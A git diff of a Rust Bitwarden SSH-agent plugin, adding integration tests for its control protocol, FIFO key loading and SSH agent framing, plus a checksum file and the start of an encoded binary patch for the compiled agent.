"unlock_required"); + assert_eq!(unlock["reason"], "list-identities"); + + // The load releases the waiting listing with the real identities. + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + let frame = client.join().unwrap(); + assert_eq!(frame[4], 12, "expected an identities answer"); + let mut body = &frame[5..]; + assert_eq!(u32::decode(&mut body).unwrap(), 1); + agent.shutdown(); +} + +/// Several clients starting at once must not produce several unlock prompts. +#[test] +fn concurrent_identity_listings_coalesce_into_one_unlock() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + agent.send("{\"v\":1,\"type\":\"options\",\"unlockOnDemand\":true}"); + agent.drain_control(); + + let mut clients = Vec::new(); + for _ in 0..3 { + let socket = agent.socket.clone(); + clients.push(std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&[0_u8, 0, 0, 1, 11]).unwrap(); + read_agent_frame(&mut stream) + })); + std::thread::sleep(std::time::Duration::from_millis(120)); + } + + let unlock = agent.read(); + assert_eq!(unlock["type"], "unlock_required"); + + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + for client in clients { + let frame = client.join().unwrap(); + assert_eq!(frame[4], 12, "every waiting listing gets its answer"); + } + // Exactly one unlock was asked for; the next line is the keys_loaded that + // load_key already consumed, so nothing else is queued behind it. + agent.shutdown(); +} + +/// A client that walks away leaves a prompt on screen with nothing behind it. +/// The companion says so rather than letting it sit until its deadline. +#[test] +fn a_disconnected_client_withdraws_its_prompt() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + + let mut stream = UnixStream::connect(&agent.socket).unwrap(); + stream.write_all(&sign_request(&public_blob)).unwrap(); + let approval = agent.read(); + assert_eq!(approval["type"], "approval_required"); + let request_id = approval["requestId"].as_u64().unwrap(); + + drop(stream); + let cancelled = agent.read(); + assert_eq!(cancelled["type"], "request_cancelled"); + assert_eq!(cancelled["requestId"], request_id); + agent.shutdown(); +} + +/// Grants are only useful if the panel can see and revoke them, so every +/// change to the set is announced with its remaining time. +#[test] +fn granting_and_revoking_announce_the_live_set() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + + let socket = agent.socket.clone(); + let blob = public_blob.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&sign_request(&blob)).unwrap(); + let first = read_agent_frame(&mut stream); + // A second signature on the same connection rides the grant, with no + // further prompt -- which is the whole point of offering one. + stream.write_all(&sign_request(&blob)).unwrap(); + (first, read_agent_frame(&mut stream)) + }); + + let approval = agent.read(); + let request_id = approval["requestId"].as_u64().unwrap(); + assert_eq!(approval["grantOffered"], true); + agent.send(&format!( + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{request_id},\"grantSeconds\":120}}" + )); + + let changed = agent.read(); + assert_eq!(changed["type"], "grants_changed"); + let grants = changed["grants"].as_array().unwrap(); + assert_eq!(grants.len(), 1); + assert!(grants[0]["expiresInSec"].as_u64().unwrap() <= 120); + assert!(grants[0]["expiresInSec"].as_u64().unwrap() > 0); + let grant_id = grants[0]["grantId"].as_u64().unwrap(); + assert!( + grants[0].get("privateKey").is_none(), + "a grant must carry no key material" + ); + + let (first, second) = client.join().unwrap(); + assert_eq!(first[4], 14); + assert_eq!(second[4], 14, "a live grant signs without prompting again"); + + agent.send(&format!( + "{{\"v\":1,\"type\":\"revoke_grant\",\"grantId\":{grant_id}}}" + )); + let revoked = agent.read(); + assert_eq!(revoked["type"], "grants_changed"); + assert_eq!(revoked["grants"].as_array().unwrap().len(), 0); + agent.shutdown(); +} + +/// The panel validates the bundled helper before it trusts it, and needs the +/// helper's own answers to do that: what version it is, what protocol it +/// speaks, and whether its crypto actually works on this machine. Both must +/// answer without touching the filesystem, opening a socket, or needing a +/// runtime directory -- they run before any of that exists. +#[test] +fn version_and_self_test_answer_without_touching_the_system() { + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let temp = TempDir::new(); + + let version = Command::new(executable) + .arg("--version") + .env_clear() + .output() + .unwrap(); + assert!(version.status.success(), "--version must succeed"); + let text = String::from_utf8(version.stdout).unwrap(); + assert!( + text.contains(env!("CARGO_PKG_VERSION")), + "--version must report the crate version, got {text:?}" + ); + assert!( + text.contains("protocol 1"), + "--version must report the control protocol version, got {text:?}" + ); + + // No XDG_RUNTIME_DIR at all: neither mode may depend on one. + let selftest = Command::new(executable) + .arg("--self-test") + .env_clear() + .output() + .unwrap(); + assert!( + selftest.status.success(), + "--self-test failed: {}", + String::from_utf8_lossy(&selftest.stderr) + ); + let report = String::from_utf8(selftest.stdout).unwrap(); + assert!( + report.contains("ok"), + "self-test should say so, got {report:?}" + ); + + // Nothing was created anywhere it could have been. + let runtime = std::path::Path::new(&temp.0).join("qs-bitwarden-cli"); + assert!( + !runtime.exists(), + "a self-test must not create a runtime directory" + ); + + // Neither mode may leak key material to either stream. + let combined = format!("{report}{}", String::from_utf8_lossy(&selftest.stderr)); + assert!( + !combined.contains("PRIVATE"), + "the self-test must not print key material" + ); +} + +/// An unknown flag must not be mistaken for "run as the agent". The panel +/// launches this binary with no arguments; anything else is a mistake worth +/// reporting rather than silently starting a key-holding daemon. +#[test] +fn an_unknown_argument_is_refused() { + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let out = Command::new(executable) + .arg("--not-a-real-flag") + .env_clear() + .output() + .unwrap(); + assert!( + !out.status.success(), + "an unknown flag must not start the agent" + ); +} + +/// A running agent with its control channel, for tests that drive several +/// messages in sequence. +struct TestAgent { + child: std::process::Child, + input: std::process::ChildStdin, + output: BufReader, + socket: PathBuf, + fifo: PathBuf, + alive: std::sync::Arc, + _temp: TempDir, +} + +impl TestAgent { + fn start() -> Self { + let temp = TempDir::new(); + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let mut child = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + let mut input = child.stdin.take().unwrap(); + let mut output = BufReader::new(child.stdout.take().unwrap()); + input.write_all(b"{\"v\":1,\"type\":\"hello\"}\n").unwrap(); + input.flush().unwrap(); + let ready = read_json_line(&mut output); + let socket = PathBuf::from(ready["socketPath"].as_str().unwrap()); + let fifo = PathBuf::from(ready["fifoPath"].as_str().unwrap()); + + // Every read below blocks on the agent's stdout, so a message the + // agent never sends would hang the whole suite instead of failing it. + // The watchdog kills the child, which closes stdout and turns that + // hang into an EOF the assertions report. + let alive = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(true)); + let watching = alive.clone(); + let pid = child.id(); + std::thread::spawn(move || { + let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20); + while std::time::Instant::now() < deadline { + if !watching.load(std::sync::atomic::Ordering::Relaxed) { + return; + } + std::thread::sleep(std::time::Duration::from_millis(100)); + } + let _ = Command::new("kill").arg("-9").arg(pid.to_string()).status(); + }); + + Self { + child, + input, + output, + socket, + fifo, + alive, + _temp: temp, + } + } + + fn send(&mut self, line: &str) { + writeln!(self.input, "{line}").unwrap(); + self.input.flush().unwrap(); + } + + /// Wait until the control loop has processed everything sent so far. + /// + /// Control messages are read in order on one channel, so a message whose + /// effect is observable acts as a barrier for every message before it. + /// `vault_locked` is that message: it answers with `locked`, and locking + /// an empty store changes nothing a test then depends on. + /// + /// Needed because a test that sends `options` and then connects a client + /// is racing the control loop. That race is invisible on a fast machine + /// and cost a CI run: the client's listing arrived first, was answered + /// with an empty list instead of raising an unlock, and the test waited + /// for a message that was never going to come. + fn drain_control(&mut self) { + self.send("{\"v\":1,\"type\":\"vault_locked\",\"epoch\":0}"); + let acknowledged = self.read(); + assert_eq!( + acknowledged["type"], "locked", + "expected a lock acknowledgement" + ); + } + + fn read(&mut self) -> serde_json::Value { + let mut line = String::new(); + self.output.read_line(&mut line).unwrap(); + assert!( + !line.is_empty(), + "the agent closed its control channel without answering" + ); + serde_json::from_str(&line).unwrap() + } + + fn load_key(&mut self, key: &PrivateKey, epoch: u64, nonce: &str) { + self.send(&format!( + "{{\"v\":1,\"type\":\"key_load_begin\",\"epoch\":{epoch},\"loadId\":\"{nonce}\"}}" + )); + let payload = serde_json::json!({"loadId": nonce, "items": [{ + "itemId": "disposable", "name": "Disposable test key", + "privateKey": key.to_openssh(Default::default()).unwrap().as_str(), + "publicKey": key.public_key().to_openssh().unwrap(), + "fingerprint": key.public_key().fingerprint(HashAlg::Sha256).to_string(), + "requiresReprompt": false + }]}); + let mut writer = fs::OpenOptions::new().write(true).open(&self.fifo).unwrap(); + writer + .write_all(&serde_json::to_vec(&payload).unwrap()) + .unwrap(); + writer.write_all(b"\n").unwrap(); + drop(writer); + self.send(&format!( + "{{\"v\":1,\"type\":\"key_load_end\",\"epoch\":{epoch},\"status\":\"ok\"}}" + )); + // The validated public set arrives one message per key ahead of + // keys_loaded, so the panel holds the whole projection before it is + // told the load finished. Skip past them to the completion. + loop { + let message = self.read(); + if message["type"] == "keys_loaded" { + break; + } + assert_eq!( + message["type"], "public_key", + "only public keys may precede keys_loaded" + ); + assert!( + !message["publicKey"] + .as_str() + .unwrap_or_default() + .contains("PRIVATE"), + "a public_key message must never carry private material" + ); + } + } + + fn shutdown(&mut self) { + self.send("{\"v\":1,\"type\":\"shutdown\"}"); + let status = self.child.wait().unwrap(); + self.alive + .store(false, std::sync::atomic::Ordering::Relaxed); + assert!(status.success()); + } +} + +impl Drop for TestAgent { + fn drop(&mut self) { + self.alive + .store(false, std::sync::atomic::Ordering::Relaxed); + let _ = self.child.kill(); + } +} + +/// A framed SSH_AGENTC_SIGN_REQUEST for one public blob. +fn sign_request(public_blob: &[u8]) -> Vec { + let mut request = Vec::new(); + 13_u8.encode(&mut request).unwrap(); + public_blob.encode(&mut request).unwrap(); + b"payload".as_slice().encode(&mut request).unwrap(); + 0_u32.encode(&mut request).unwrap(); + let mut framed = u32::try_from(request.len()).unwrap().to_be_bytes().to_vec(); + framed.extend_from_slice(&request); + framed +} + +/// Number of identities the agent offers over its real socket. +fn identity_count(socket: &PathBuf) -> usize { + let mut stream = UnixStream::connect(socket).unwrap(); + let request = [0_u8, 0, 0, 1, 11]; + stream.write_all(&request).unwrap(); + let frame = read_agent_frame(&mut stream); + assert_eq!(frame[4], 12, "expected an identities answer, not a failure"); + let mut body = &frame[5..]; + usize::try_from(u32::decode(&mut body).unwrap()).unwrap() +} + +fn read_json_line(reader: &mut BufReader) -> serde_json::Value { + let mut line = String::new(); + reader.read_line(&mut line).unwrap(); + serde_json::from_str(&line).unwrap() +} + +fn read_agent_frame(stream: &mut UnixStream) -> Vec { + let mut header = [0_u8; 4]; + stream.read_exact(&mut header).unwrap(); + let length = usize::try_from(u32::from_be_bytes(header)).unwrap(); + let mut frame = header.to_vec(); + frame.resize(length + 4, 0); + stream.read_exact(&mut frame[4..]).unwrap(); + frame +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/load.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/load.rs new file mode 100644 index 0000000..7099a10 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/load.rs @@ -0,0 +1,283 @@ +use qs_bitwarden_ssh_agent::keystore::{ + KeyStore, LoadError, MAX_FILTERED_BYTES, MAX_METADATA_BYTES, +}; +use qs_bitwarden_ssh_agent::load::{LoadWindow, PayloadError}; +use qs_bitwarden_ssh_agent::runtime::{read_payload_async, Runtime, RuntimeError}; +use rand_core::OsRng; +use ssh_key::{Algorithm, HashAlg, PrivateKey}; +use std::fs; +use std::os::unix::fs::{FileTypeExt, MetadataExt, PermissionsExt}; +use std::path::PathBuf; +use std::time::Duration; +use zeroize::Zeroizing; + +const NONCE: &str = "0123456789abcdef0123456789abcdef"; + +struct TempDir(PathBuf); + +impl TempDir { + fn new(label: &str) -> Self { + let path = std::env::temp_dir().join(format!( + "qsbw-{label}-{}-{}", + std::process::id(), + rand_core::RngCore::next_u64(&mut OsRng) + )); + fs::create_dir(&path).unwrap(); + Self(path) + } +} + +impl Drop for TempDir { + fn drop(&mut self) { + let _ = fs::remove_dir_all(&self.0); + } +} + +fn item_json(id: &str, key: &PrivateKey) -> serde_json::Value { + serde_json::json!({ + "itemId": id, + "name": format!("key {id}"), + "privateKey": key.to_openssh(Default::default()).unwrap().as_str(), + "publicKey": key.public_key().to_openssh().unwrap(), + "fingerprint": key.public_key().fingerprint(HashAlg::Sha256).to_string(), + "requiresReprompt": false + }) +} + +fn payload(nonce: &str, items: Vec) -> Vec { + serde_json::to_vec(&serde_json::json!({"loadId": nonce, "items": items})).unwrap() +} + +#[test] +fn creates_private_runtime_and_fifo_and_holds_both_fifo_ends() { + let temp = TempDir::new("runtime"); + let runtime = Runtime::create(&temp.0).unwrap(); + let dir = fs::metadata(runtime.directory()).unwrap(); + let fifo = fs::symlink_metadata(runtime.fifo_path()).unwrap(); + + assert_eq!(dir.mode() & 0o777, 0o700); + assert_eq!(fifo.mode() & 0o777, 0o600); + assert!(fifo.file_type().is_fifo()); + assert_eq!(dir.uid(), rustix::process::geteuid().as_raw()); + assert_eq!(fifo.uid(), rustix::process::geteuid().as_raw()); + assert!(runtime.fifo().metadata().unwrap().file_type().is_fifo()); +} + +#[test] +fn refuses_stale_wrong_type_symlink_and_insecure_directory() { + let stale = TempDir::new("stale"); + let runtime_dir = stale.0.join("qs-bitwarden-cli"); + fs::create_dir(&runtime_dir).unwrap(); + fs::set_permissions(&runtime_dir, fs::Permissions::from_mode(0o700)).unwrap(); + fs::write(runtime_dir.join("ssh-keys.fifo"), b"stale").unwrap(); + assert_eq!( + Runtime::create(&stale.0).unwrap_err(), + RuntimeError::UnsafeFifo + ); + + let insecure = TempDir::new("insecure"); + let dir = insecure.0.join("qs-bitwarden-cli"); + fs::create_dir(&dir).unwrap(); + fs::set_permissions(&dir, fs::Permissions::from_mode(0o755)).unwrap(); + assert_eq!( + Runtime::create(&insecure.0).unwrap_err(), + RuntimeError::UnsafeDirectory + ); + + let linked = TempDir::new("linked"); + let target = linked.0.join("target"); + fs::create_dir(&target).unwrap(); + std::os::unix::fs::symlink(&target, linked.0.join("qs-bitwarden-cli")).unwrap(); + assert_eq!( + Runtime::create(&linked.0).unwrap_err(), + RuntimeError::UnsafeDirectory + ); +} + +#[test] +fn valid_nonce_payload_publishes_disposable_keys_once() { + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let bytes = payload(NONCE, vec![item_json("one", &key)]); + let mut window = LoadWindow::new(7, NONCE).unwrap(); + let mut store = KeyStore::new(); + let candidate = window.decode(Zeroizing::new(bytes), &mut store).unwrap(); + assert_eq!(store.publish(candidate).unwrap().loaded, 1); + assert_eq!(store.public_identities().len(), 1); + assert_eq!( + window + .decode(Zeroizing::new(payload(NONCE, vec![])), &mut store) + .unwrap_err(), + PayloadError::Closed + ); +} + +#[test] +fn nonce_schema_truncation_and_size_fail_the_whole_load() { + let mut store = KeyStore::new(); + for (index, (nonce, bytes, expected)) in [ + ( + NONCE, + payload("ffffffffffffffffffffffffffffffff", vec![]), + PayloadError::NonceMismatch, + ), + ( + NONCE, + br#"{"loadId":"0123456789abcdef0123456789abcdef","items":["#.to_vec(), + PayloadError::Malformed, + ), + ( + NONCE, + br#"{"loadId":"0123456789abcdef0123456789abcdef","items":[],"extra":1}"#.to_vec(), + PayloadError::Malformed, + ), + ] + .into_iter() + .enumerate() + { + let mut window = LoadWindow::new(10 + index as u64, nonce).unwrap(); + assert_eq!( + window + .decode(Zeroizing::new(bytes), &mut store) + .unwrap_err(), + expected + ); + } + + let mut window = LoadWindow::new(20, NONCE).unwrap(); + assert_eq!( + window + .decode( + Zeroizing::new(vec![b'x'; MAX_FILTERED_BYTES + 1]), + &mut store + ) + .unwrap_err(), + PayloadError::Load(LoadError::FilteredPayloadTooLarge) + ); +} + +#[test] +fn fifo_drain_is_newline_framed_and_deadline_limited() { + use std::io::Write; + + let temp = TempDir::new("drain"); + let mut runtime = Runtime::create(&temp.0).unwrap(); + let mut writer = fs::OpenOptions::new() + .write(true) + .open(runtime.fifo_path()) + .unwrap(); + writer.write_all(b"{\"loadId\":\"ok\"}\n").unwrap(); + assert_eq!( + runtime + .read_payload(Duration::from_secs(1)) + .unwrap() + .as_slice(), + b"{\"loadId\":\"ok\"}" + ); + + writer.write_all(b"{}\n{}\n").unwrap(); + assert_eq!( + runtime.read_payload(Duration::from_secs(1)).unwrap_err(), + RuntimeError::MultiplePayloads + ); + assert_eq!( + runtime.read_payload(Duration::from_millis(10)).unwrap_err(), + RuntimeError::ReadTimeout + ); +} + +#[test] +fn fifo_drain_rejects_a_stream_beyond_the_full_eight_mibibyte_cap() { + use std::io::Write; + + let temp = TempDir::new("full-cap"); + let mut runtime = Runtime::create(&temp.0).unwrap(); + let fifo_path = runtime.fifo_path().to_owned(); + let writer = std::thread::spawn(move || { + let mut fifo = fs::OpenOptions::new().write(true).open(fifo_path).unwrap(); + let oversized = vec![b'x'; MAX_FILTERED_BYTES + 2]; + let _ = fifo.write_all(&oversized); + }); + + assert_eq!( + runtime.read_payload(Duration::from_secs(30)).unwrap_err(), + RuntimeError::PayloadTooLarge + ); + writer.join().unwrap(); +} + +#[test] +fn invalid_nonce_is_never_armed() { + assert_eq!( + LoadWindow::new(1, "short").unwrap_err(), + PayloadError::InvalidNonce + ); + assert_eq!( + LoadWindow::new(1, "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz").unwrap_err(), + PayloadError::InvalidNonce + ); +} + +#[test] +fn an_item_id_past_the_metadata_cap_fails_the_candidate() { + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let mut item = item_json("one", &key); + // Real ones are 36-character UUIDs, and this is what the key is known by, + // so it cannot be shortened to fit the way a display name can. + item["itemId"] = serde_json::Value::String("i".repeat(65 * 1024)); + let mut window = LoadWindow::new(30, NONCE).unwrap(); + let mut store = KeyStore::new(); + assert_eq!( + window + .decode(Zeroizing::new(payload(NONCE, vec![item])), &mut store) + .unwrap_err(), + PayloadError::Load(LoadError::MetadataTooLarge) + ); +} + +#[test] +fn a_long_item_name_is_truncated_rather_than_losing_the_whole_load() { + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let mut item = item_json("one", &key); + // Multibyte on purpose. 200 of these is 400 bytes, so the cut lands in the + // middle of a character unless the boundary is respected -- and a name is + // a String, which cannot hold half of one. + let name = "é".repeat(200); + item["name"] = serde_json::Value::String(name.clone()); + let mut window = LoadWindow::new(30, NONCE).unwrap(); + let mut store = KeyStore::new(); + let candidate = window + .decode(Zeroizing::new(payload(NONCE, vec![item])), &mut store) + .expect("a descriptively named key is an ordinary key"); + store.publish(candidate).unwrap(); + + let identities = store.public_identities(); + assert_eq!(identities.len(), 1, "the key still loaded"); + let stored = &identities[0].name; + assert!(stored.len() <= MAX_METADATA_BYTES); + assert!(name.starts_with(stored.as_str())); + assert!(!stored.is_empty()); +} + +#[tokio::test(flavor = "current_thread")] +async fn a_producer_that_closes_without_a_newline_times_out() { + use std::io::Write; + + let temp = TempDir::new("eof"); + let runtime = Runtime::create(&temp.0).unwrap(); + let mut writer = fs::OpenOptions::new() + .write(true) + .open(runtime.fifo_path()) + .unwrap(); + writer.write_all(b"{\"loadId\":\"unfinished\"").unwrap(); + drop(writer); + + // The reader keeps its own write end open, so this is a producer that gave + // up rather than a true end-of-stream -- but the read still has to end at + // its deadline rather than spinning on a descriptor that stays readable. + assert_eq!( + read_payload_async(runtime.fifo_reader().unwrap(), Duration::from_millis(150)) + .await + .unwrap_err(), + RuntimeError::ReadTimeout + ); +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/protocol.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/protocol.rs new file mode 100644 index 0000000..a91996f --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/protocol.rs @@ -0,0 +1,177 @@ +use qs_bitwarden_ssh_agent::protocol::{handle_frame, Identity, MAX_FRAME_LEN}; +use rand_core::OsRng; +use signature::Verifier; +use ssh_encoding::{Decode, Encode}; +use ssh_key::private::RsaKeypair; +use ssh_key::{Algorithm, HashAlg, PrivateKey, Signature}; + +const FAILURE: u8 = 5; +const REQUEST_IDENTITIES: u8 = 11; +const IDENTITIES_ANSWER: u8 = 12; +const SIGN_REQUEST: u8 = 13; +const SIGN_RESPONSE: u8 = 14; +const RSA_SHA2_256: u32 = 2; +const RSA_SHA2_512: u32 = 4; + +fn frame(payload: &[u8]) -> Vec { + let mut encoded = Vec::with_capacity(payload.len() + 4); + u32::try_from(payload.len()) + .unwrap() + .encode(&mut encoded) + .unwrap(); + encoded.extend_from_slice(payload); + encoded +} + +fn string(value: &[u8], out: &mut Vec) { + value.encode(out).unwrap(); +} + +fn response_payload(response: &[u8]) -> &[u8] { + let declared = u32::from_be_bytes(response[..4].try_into().unwrap()) as usize; + assert_eq!(declared, response.len() - 4); + &response[4..] +} + +fn sign_request(key_blob: &[u8], message: &[u8], flags: u32) -> Vec { + let mut payload = vec![SIGN_REQUEST]; + string(key_blob, &mut payload); + string(message, &mut payload); + flags.encode(&mut payload).unwrap(); + frame(&payload) +} + +fn signature(response: &[u8]) -> Signature { + let payload = response_payload(response); + assert_eq!(payload[0], SIGN_RESPONSE); + let mut encoded = &payload[1..]; + let signature_bytes = Vec::::decode(&mut encoded).unwrap(); + assert!(encoded.is_empty()); + Signature::try_from(signature_bytes.as_slice()).unwrap() +} + +#[test] +fn lists_openssh_encoded_identities() { + let ed25519 = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let rsa = PrivateKey::from(RsaKeypair::random(&mut OsRng, 2048).unwrap()); + let identities = [ + Identity::new(ed25519, "vault ed25519").unwrap(), + Identity::new(rsa, "vault rsa").unwrap(), + ]; + + let response = handle_frame(&frame(&[REQUEST_IDENTITIES]), &identities); + let payload = response_payload(&response); + assert_eq!(payload[0], IDENTITIES_ANSWER); + let mut fields = &payload[1..]; + assert_eq!(u32::decode(&mut fields).unwrap(), 2); + for identity in identities.iter() { + assert_eq!( + Vec::::decode(&mut fields).unwrap(), + identity.public_blob() + ); + assert_eq!(String::decode(&mut fields).unwrap(), identity.comment()); + } + assert!(fields.is_empty()); +} + +#[test] +fn signs_ed25519_requests_and_rejects_nonzero_flags() { + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let identity = Identity::new(key, "ed25519").unwrap(); + let message = b"bounded agent protocol vector"; + + let signed = signature(&handle_frame( + &sign_request(identity.public_blob(), message, 0), + std::slice::from_ref(&identity), + )); + assert_eq!(signed.algorithm(), Algorithm::Ed25519); + Verifier::verify(identity.public_key(), message, &signed).unwrap(); + + let rejected = handle_frame( + &sign_request(identity.public_blob(), message, RSA_SHA2_256), + &[identity], + ); + assert_eq!(response_payload(&rejected), &[FAILURE]); +} + +#[test] +fn signs_rsa_with_exactly_the_requested_sha2_algorithm() { + let key = PrivateKey::from(RsaKeypair::random(&mut OsRng, 2048).unwrap()); + let identity = Identity::new(key, "rsa").unwrap(); + let message = b"rsa protocol vector"; + + for (flags, hash) in [ + (RSA_SHA2_256, HashAlg::Sha256), + (RSA_SHA2_512, HashAlg::Sha512), + ] { + let signed = signature(&handle_frame( + &sign_request(identity.public_blob(), message, flags), + std::slice::from_ref(&identity), + )); + assert_eq!(signed.algorithm(), Algorithm::Rsa { hash: Some(hash) }); + Verifier::verify(identity.public_key(), message, &signed).unwrap(); + } + + for flags in [0, RSA_SHA2_256 | RSA_SHA2_512, 8] { + let rejected = handle_frame( + &sign_request(identity.public_blob(), message, flags), + std::slice::from_ref(&identity), + ); + assert_eq!(response_payload(&rejected), &[FAILURE]); + } +} + +#[test] +fn malformed_and_disallowed_requests_receive_only_bounded_failure() { + let cases = [ + Vec::new(), + vec![0, 0, 0, 2, REQUEST_IDENTITIES], + frame(&[REQUEST_IDENTITIES, 0]), + frame(&[17]), + frame(&[18]), + frame(&[19]), + frame(&[20]), + frame(&[21]), + frame(&[22]), + frame(&[23]), + frame(&[25]), + frame(&[26]), + frame(&[27, 0, 0, 0, 1, 0xff]), + frame(&[255]), + ]; + + for request in cases { + assert_eq!(response_payload(&handle_frame(&request, &[])), &[FAILURE]); + } +} + +#[test] +fn lengths_are_rejected_before_body_allocation_or_parsing() { + let oversized_header = u32::try_from(MAX_FRAME_LEN + 1).unwrap().to_be_bytes(); + assert_eq!( + response_payload(&handle_frame(&oversized_header, &[])), + &[FAILURE] + ); + + let mut invalid_string = vec![SIGN_REQUEST]; + invalid_string.extend_from_slice(&u32::MAX.to_be_bytes()); + assert_eq!( + response_payload(&handle_frame(&frame(&invalid_string), &[])), + &[FAILURE] + ); + + let mut unknown_key = vec![SIGN_REQUEST]; + string(b"not an advertised public key", &mut unknown_key); + string(b"message", &mut unknown_key); + 0_u32.encode(&mut unknown_key).unwrap(); + assert_eq!( + response_payload(&handle_frame(&frame(&unknown_key), &[])), + &[FAILURE] + ); + + unknown_key.push(0); + assert_eq!( + response_payload(&handle_frame(&frame(&unknown_key), &[])), + &[FAILURE] + ); +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/bin/SHA256SUMS b/plugins/io.github.elevate08.qs-bitwarden-cli/bin/SHA256SUMS new file mode 100644 index 0000000..55c6c02 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/bin/SHA256SUMS @@ -0,0 +1 @@ +3b36e17fcbca8b5925b417b36c75157fc96502391720d5fcf0edac65a6abfbe3 x86_64-linux/qs-bitwarden-ssh-agent diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/bin/x86_64-linux/qs-bitwarden-ssh-agent b/plugins/io.github.elevate08.qs-bitwarden-cli/bin/x86_64-linux/qs-bitwarden-ssh-agent new file mode 100644 index 0000000000000000000000000000000000000000..8c4084c93e46f36ec63c1e04b1e69ae1f5a86479 GIT binary patch literal 1215040 zcmdqK34B|{wZJ`z?ZhNNMA*!J37Z4Nma{5hQ+5YJBC>#if+b7WmWV9fNOGb;0YQPf zEw2d5;udICDBuSa)B>&h$|Bmn;ud(Q3t*NOv76FTv9vX7zBBinv9C@tKq}jpA238u0-E+_dxQeTops<%HQcexfd|r$`vm3DSuZ3qPR+*ax?qx zZhKU&^LH|h#`}BN-y3_P9+caAsf|VHN_6?}`n%A7|8147cM|$PW^(24Cc>>upYD0x z9Gv>~2NX8px+TqFK zA=9*c)q3e&$kIcPu)p7nnEZaf`(~Ne9{=<95yw6LY1SLP`uhic|J(96+xy5cF$XHY z-4kw&N@U+n)9@2Dyal-Y4gYii*xqwHH9V!^7if4!!)3YL-gEy;!>`rw+cf-s4Sz(# z|5wAG)bKxQ__G@RqK3b!;qPkrCmLQ21!#Nv++D->((uDHe3phU(D0Kqe7S~yMZ-fH zo&dhR^1MakKcnGSX!w;HeyfK6kA^?0;r$x^l!pIR!(Y|#w>A7d4gXNXw`%xQX!N#M z-j2}lSsK1T!&ho}yN1U!{6Y=?nucdJ{1y$rQ^W7k@cT9VQ4RmIhW|~&KhW@xG<+O% zVB5>bi5kAUhVP@{2Wj{;4WFywCusOG4POm>8nl)CvtGknH9V~e{~H?q9S#41hW|pt zf2HA1Yxrv#UJZuL_VRZh4WFUm$7%S8^-~45P<NUyXe|VVF!5wPF{LDluu8Rf)-P zw=3OGs`y5QG#)Ih-E1G@;s5e(yx4s>geh>Re9F)!+kUFRu&xq&K-%{ddx^b?$zM(q z`+&&5aX?ooC5*1q3ew9>ub zf7C7lLhpck`RUp}0{2zo0{VW>NMtwp%dgXYVn6wPt+<-*Q}+E{;%2(v*Y>}Q_;0%3 z&%U21?xXwc)z^b*JV87}_t)C@)uNy7uea~_7Js7q8|?et#9!&Y$G+cFyhZny+xJt& z2Xxg2_gRRL_AdzbA3`An0wY8%&9wX8!T34()wKZfW%#KJhWhU00x;Pq- znd<^=Q4_!0{x_|`bfC385(`8l=bIuJjVDdfX?6y!Ez(JvDbW_}wB&VXe3L2KBC(K& z$|uMOn2AIz-WrVu1F1+{f>bow+F_sBiakMHb?bp|YWP5>UUB^eCBL#&$d&jTv1O0IjL$z|WTiQUQe_95V(f zO(mkBvrdRbJO~;{M$)aIR8V_IOtdFVQ%2POPDT{GY)(LGHlZ^d?+xY_(oh8onNfI( z%)Q_SssB_2^pS*+11!mr80fP?36R5({NRS9%zmk+c&vTc2WAFnHo2v97@ilGg^zT< z2!5JM1cIiBCQWk#Xe!iYi9lOCG4h;U8s(=zBp zAQp;uLdliYV7PF|09zxS7L>8pwABH1ECEG5o@liTb)YM~2^1?M8l^~As1$H+(gJ_^JsWL_cd9@!2%;h^CQWHF<{p&K!B}%n>?k zB(PbIC^%v^TWojgLiEx+l$yu!{v8Yk_~aS)t&=Ug5Pghi$bW(H2mfY!7XyqR{{r%| zhS%8)e@a(b?t@pGTXaGDuc@$@sU{HHZMtKq$jfBa8;Zh`UPd}sU(nj0=NuJlm5Po*9d zH#FR%;XVxyYj{S(do(<+;r$w3((ob1Z+jp0>Dsqa4~o}oxR-I)chIP6=KN0NKE{3I zzlHOw(7&JY;x)*_jQfaNjJxT%S;h@|ZV%%w@}Fbe|6P1;FXOH(@;u`uiccTo7V!e( zUV3hcaW}!HXy^LpX 